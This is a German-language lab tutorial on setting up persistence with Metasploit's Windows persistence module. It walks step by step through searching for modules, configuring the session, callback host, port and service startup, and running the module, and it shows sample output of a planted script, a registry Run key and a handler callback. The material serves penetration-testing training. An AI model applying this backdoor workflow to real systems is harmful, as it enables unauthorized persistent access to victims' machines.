Einführung
In diesem Lab lernen Sie den grundlegenden Prozess der Etablierung von Persistenz auf einem Zielsystem mithilfe des Metasploit Frameworks. Persistenz ist eine kritische Phase beim Penetration Testing, die es einem Angreifer ermöglicht, den Zugriff auf ein kompromittiertes System aufrechtzuerhalten, selbst wenn dieses neu gestartet wird oder die ursprüngliche Verbindung verloren geht. Wir werden untersuchen, wie ein spezifisches Metasploit-Modul verwendet wird, um eine Backdoor zu erstellen, die sich automatisch mit Ihrem Rechner verbindet. Dieses Lab konzentriert sich auf die Befehle und Konzepte in einer kontrollierten, simulierten Umgebung.
Erlangung einer privilegierten Meterpreter-Sitzung auf einem Ziel
In diesem Schritt starten wir das Metasploit Framework und verstehen den Kontext für unsere Aufgabe. Bei einem echten Penetrationstest ist die Etablierung von Persistenz eine Aktivität nach der Kompromittierung (post-exploitation). Das bedeutet, dass Sie bereits initialen Zugriff auf das Zielsystem erlangt haben, typischerweise in Form einer Meterpreter-Sitzung.
Für dieses Lab konzentrieren wir uns auf die Befehle und Verfahren zur Einrichtung von Persistenz. Wir gehen davon aus, dass Sie bereits erfolgreich ein Ziel kompromittiert und eine Meterpreter-Sitzung im Hintergrund laufen haben.
Zuerst starten wir die Metasploit-Konsole über das Terminal. Das Flag -q sorgt für einen leisen Start und unterdrückt das Startbanner.
msfconsole -q
Ihr Befehlszeilen-Prompt sollte sich nun zu msf6 > ändern, was anzeigt, dass Sie sich innerhalb des Metasploit Frameworks befinden.
In einem realen Szenario mit einer aktiven Sitzung könnten Sie diese mit dem Befehl sessions auflisten. Um mit ihr zu interagieren, würden Sie sessions -i <session_id> verwenden. Um zum msf6 > Prompt zurückzukehren und Post-Exploitation-Module zu nutzen, würden Sie den Befehl background innerhalb der Meterpreter-Sitzung verwenden. Wir fahren fort, als hätten wir unsere Sitzung bereits in den Hintergrund verschoben.
Suche nach Post-Exploitation-Modulen für Persistenz
In diesem Schritt suchen wir nach Modulen innerhalb von Metasploit, die uns bei der Etablierung von Persistenz helfen können. Metasploit verfügt über eine leistungsstarke Suchfunktion, mit der Sie Module basierend auf Schlüsselwörtern, Typ, Plattform und mehr finden können.
Wir suchen nach einem Modul, das mit "persistence" zu tun hat. Verwenden wir den Befehl search in der Metasploit-Konsole, um relevante Module zu finden.
search persistence
Dieser Befehl gibt eine Liste von Exploits, Hilfsmodulen (auxiliary) und Post-Exploitation-Modulen zurück, die mit dem Schlüsselwort übereinstimmen. Die Ausgabe zeigt den Namen des Moduls, das Offenlegungsdatum, den Rang und eine kurze Beschreibung.
Ihre Ausgabe wird ähnlich wie diese aussehen (einige Details können variieren):
Matching Modules
================
## Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/dlink_dir_600_http_login 2013-02-01 normal No D-Link DIR-600 'dlink_user' Persistence
1 exploit/linux/local/cron_persistence 2020-01-28 excellent Yes Cron Persistence
2 exploit/osx/local/persistence 2015-05-11 excellent Yes OS X Persistent Launchd Job
3 exploit/windows/local/persistence 2012-08-20 excellent No Windows Persistent Service Installer
4 exploit/windows/local/persistence_service 2014-09-11 excellent Yes Persistent Service Installer
5 post/android/manage/remove_persistence 2018-09-20 normal No Remove persistence from device
6 post/android/manage/set_persistence 2018-09-20 normal No Set persistence on device
7 post/multi/manage/shell_to_meterpreter normal No Shell to Meterpreter Upgrade
8 post/osx/manage/persistence 2018-09-20 normal No Install persistence on OSX
9 post/windows/manage/persistence_exe 2013-03-06 normal No Windows Manage Persistent EXE Payload
10 post/windows/manage/ssh_inject 2012-11-20 normal No Windows Manage SSH User Key Injection
Wie Sie sehen können, gibt es mehrere Optionen. Für dieses Lab konzentrieren wir uns auf exploit/windows/local/persistence, ein zuverlässiges und häufig verwendetes Modul zur Erstellung eines persistenten Dienstes auf Windows-Systemen.
Verwendung des Moduls exploit/windows/local/persistence
In diesem Schritt wählen wir das zuvor identifizierte Persistenzmodul aus. Der Befehl use in Metasploit lädt ein bestimmtes Modul in den aktuellen Kontext und ermöglicht Ihnen dessen Konfiguration und Ausführung.
Um das Modul auszuwählen, können Sie entweder seinen vollständigen Pfad eingeben oder seine Nummer aus den Suchergebnissen verwenden (z. B. use 3). Die Verwendung des vollständigen Pfads ist im Allgemeinen zuverlässiger, da sich die Nummern ändern können.
Laden wir das Modul exploit/windows/local/persistence.
use exploit/windows/local/persistence
Nachdem Sie diesen Befehl ausgeführt haben, ändert sich Ihr Prompt, um das aktuell geladene Modul widerzuspiegeln: msf6 exploit(windows/local/persistence) >.
Da das Modul nun geladen ist, können wir seine Optionen anzeigen, um zu sehen, was konfiguriert werden muss. Verwenden Sie den Befehl show options.
show options
Dies zeigt eine Tabelle aller Parameter an, die Sie für dieses Modul festlegen können, ihre aktuellen Werte und ob sie erforderlich sind.
Module options (exploit/windows/local/persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
DELAY 10 yes Delay in seconds for persistent payload to connect back
LHOST no The local listener IP address
LPORT 4444 no The local listener port
REX_PORT 0 no The port to connect to on the remote host
SESSION yes The session to run this module on
STARTUP USER yes Startup type for the persistent payload. (Accepted: USER, SYSTEM, SERVICE)
...
Beachten Sie, dass SESSION eine erforderliche Option ist. Hier würden Sie die ID Ihrer kompromittierten Meterpreter-Sitzung angeben.
Konfiguration von Optionen für automatischen Start und Payload
In diesem Schritt konfigurieren wir die notwendigen Optionen für unser Persistenzmodul. Basierend auf der Ausgabe von show options müssen wir mehrere Parameter festlegen, um zu definieren, wie der Persistenzmechanismus funktionieren soll. Der Befehl set wird verwendet, um diesen Optionen Werte zuzuweisen.
Zuerst geben wir die Sitzung an. In einem realen Szenario würden Sie die ID Ihrer aktiven Sitzung verwenden (z. B. set SESSION 1). Für dieses Lab setzen wir sie als Platzhalter auf 1.
set SESSION 1
Als Nächstes müssen wir die Payload konfigurieren, die der Persistenzmechanismus ausführen wird. Diese Payload wird zu unserer Maschine zurückrufen. Wir müssen LHOST (unsere IP-Adresse) und LPORT (der Port, auf dem wir lauschen werden) festlegen. Wir setzen LHOST auf die lokale Loopback-Adresse 127.0.0.1 und LPORT auf 4445 (um Konflikte mit anderen potenziellen Handlern zu vermeiden).
set LHOST 127.0.0.1
set LPORT 4445
Die Option STARTUP bestimmt, wie die Payload auf der Zielmaschine gestartet wird. Die Optionen sind USER (wird beim Benutzer-Login ausgeführt), SYSTEM (wird beim Systemstart ausgeführt) oder SERVICE (wird als Systemdienst ausgeführt). Wir wählen SERVICE für höhere Privilegien und Tarnung.
set STARTUP SERVICE
Sie können show options erneut ausführen, um zu überprüfen, ob alle Ihre Einstellungen korrekt angewendet wurden. Alle Werte, die Sie gerade festgelegt haben, sollten nun in der Spalte "Current Setting" angezeigt werden.
Ausführen des Moduls und Überprüfung des Persistenzmechanismus
Im letzten Schritt führen wir das Modul aus. Mit allen konfigurierten Optionen versucht die Ausführung des Moduls, das Persistenzskript über die angegebene Sitzung auf dem Zielsystem zu installieren. Um das Modul auszuführen, verwenden Sie einfach den Befehl run oder exploit.
run
Erwartetes Ergebnis: In unserer simulierten Umgebung schlägt dieser Befehl fehl, da keine aktive Sitzung mit der ID 1 vorhanden ist. Sie sehen eine Fehlermeldung ähnlich dieser:
[-] Exploit failed: Rex::Post::Meterpreter::RequestError The session is not valid.
Dies ist das erwartete Verhalten für dieses Lab, da wir nicht mit einem aktiven, kompromittierten Host arbeiten.
In einem realen Szenario mit einer gültigen Sitzung wäre die Ausgabe ganz anders. Sie würde zeigen, wie das Modul ein Skript hochlädt, die Registrierung ändert und bestätigt, dass der Persistenzmechanismus erfolgreich installiert wurde. Eine erfolgreiche Ausführung könnte wie folgt aussehen:
[*] Running module against TARGET-PC
[*] Installing persistence script...
[+] Persistence script uploaded to C:\Users\Admin\AppData\Local\Temp\abcde.vbs
[*] Creating startup registry key...
[+] Persistence registry key created at HKCU\Software\Microsoft\Windows\CurrentVersion\Run\fGhiJkL
[*] Starting the payload handler...
[+] Persistence established. The service will start on next boot.
Um den Prozess in einem realen Test abzuschließen, würden Sie einen neuen Handler einrichten (use exploit/multi/handler), der mit demselben LHOST und LPORT (127.0.0.1 und 4445) konfiguriert ist. Nach dem Neustart des Zielcomputers würde die persistente Payload ausgeführt und eine Verbindung zu Ihrem Handler herstellen, wodurch Sie eine neue Meterpreter-Sitzung erhalten.
Zusammenfassung
In diesem Lab haben Sie den grundlegenden Prozess der Etablierung von Persistenz auf einem Zielsystem mithilfe des Metasploit Frameworks kennengelernt. Sie haben geübt, nach relevanten Modulen zu suchen, das Modul exploit/windows/local/persistence auszuwählen und zu konfigurieren sowie zu verstehen, wie es funktioniert.
Obwohl wir die Umgebung ohne ein reales Ziel simuliert haben, haben Sie die genauen Befehle und den Arbeitsablauf gelernt, die erforderlich sind, um eine persistente Backdoor in einem realen Penetrationstest zu erstellen. Diese Fähigkeit ist entscheidend für die Aufrechterhaltung des langfristigen Zugriffs während Sicherheitsbewertungen.
Herzlichen Glückwunsch zum Abschluss des Labs!


